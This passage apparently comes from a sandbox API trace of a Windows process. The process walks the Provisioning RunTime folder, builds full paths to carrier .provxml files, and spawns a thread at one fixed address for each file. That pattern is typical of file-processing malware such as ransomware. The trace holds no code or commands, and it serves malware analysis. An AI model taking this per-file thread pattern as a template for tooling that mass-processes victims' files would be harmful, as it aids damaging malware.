ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="676__C~1.PRO")) returned 1 [0182.356] wcscmp (_String1="676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.356] wcscmp (_String1="676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f9b758 [0182.356] wcscpy (in: _Dest=0x2f9b758, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.356] wcscat (in: _Dest=0x2f9b758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.356] wcscat (in: _Dest=0x2f9b758, _Source="676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" [0182.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0182.356] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180a066, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9180a066, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9180a066, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="677__C~1.PRO")) returned 1 [0182.356] wcscmp (_String1="677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.356] wcscmp (_String1="677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2f8fb50 [0182.357] wcscpy (in: _Dest=0x2f8fb50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.357] wcscat (in: _Dest=0x2f8fb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.357] wcscat (in: _Dest=0x2f8fb50, _Source="677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0182.357] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180a066, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9180a066, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9180a066, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="678__C~1.PRO")) returned 1 [0182.357] wcscmp (_String1="678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.357] wcscmp (_String1="678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f6ab60 [0182.357] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.357] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.358] wcscat (in: _Dest=0x2f6ab60, _Source="678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" [0182.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0182.358] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180a066, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9180a066, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9180a066, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x0, dwReserved1=0x0, cFileName="679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="679__C~1.PRO")) returned 1 [0182.358] wcscmp (_String1="679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.358] wcscmp (_String1="679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f8fca8 [0182.358] wcscpy (in: _Dest=0x2f8fca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.358] wcscat (in: _Dest=0x2f8fca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.358] wcscat (in: _Dest=0x2f8fca8, _Source="679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" [0182.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0182.359] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9032cd93, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9032cd93, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9032cd93, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", cAlternateFileName="67__CO~1.PRO")) returned 1 [0182.359] wcscmp (_String1="67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.359] wcscmp (_String1="67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe2710 [0182.359] wcscpy (in: _Dest=0x2fe2710, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.359] wcscat (in: _Dest=0x2fe2710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.359] wcscat (in: _Dest=0x2fe2710, _Source="67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" [0182.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0182.361] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180a066, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9180a066, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9180a066, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="680__C~1.PRO")) returned 1 [0182.361] wcscmp (_String1="680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.361] wcscmp (_String1="680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054e48 [0182.361] wcscpy (in: _Dest=0x3054e48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.361] wcscat (in: _Dest=0x3054e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.361] wcscat (in: _Dest=0x3054e48, _Source="680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0182.362] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180a066, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9180a066, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9180a066, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="681__C~1.PRO")) returned 1 [0182.362] wcscmp (_String1="681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.362] wcscmp (_String1="681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe2c70 [0182.362] wcscpy (in: _Dest=0x2fe2c70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.362] wcscat (in: _Dest=0x2fe2c70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.362] wcscat (in: _Dest=0x2fe2c70, _Source="681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" [0182.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0182.363] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918302ce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918302ce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918302ce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="682__C~1.PRO")) returned 1 [0182.363] wcscmp (_String1="682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.363] wcscmp (_String1="682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.363] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02c10 [0182.363] wcscpy (in: _Dest=0x4f02c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.363] wcscat (in: _Dest=0x4f02c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.363] wcscat (in: _Dest=0x4f02c10, _Source="682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" [0182.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0182.363] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918302ce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918302ce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918302ce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="683__C~1.PRO")) returned 1 [0182.366] wcscmp (_String1="683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.366] wcscmp (_String1="683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2590 [0182.366] wcscpy (in: _Dest=0x2fa2590, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.366] wcscat (in: _Dest=0x2fa2590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.366] wcscat (in: _Dest=0x2fa2590, _Source="683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" [0182.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0182.367] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918302ce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918302ce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918302ce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="684__C~1.PRO")) returned 1 [0182.367] wcscmp (_String1="684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.367] wcscmp (_String1="684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.367] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054f80 [0182.367] wcscpy (in: _Dest=0x3054f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.367] wcscat (in: _Dest=0x3054f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.367] wcscat (in: _Dest=0x3054f80, _Source="684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0182.368] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918302ce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918302ce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918302ce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="685__C~1.PRO")) returned 1 [0182.368] wcscmp (_String1="685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.368] wcscmp (_String1="685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fa4fe0 [0182.368] wcscpy (in: _Dest=0x2fa4fe0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.368] wcscat (in: _Dest=0x2fa4fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.368] wcscat (in: _Dest=0x2fa4fe0, _Source="685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" [0182.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0182.369] FindNextFileW (in: 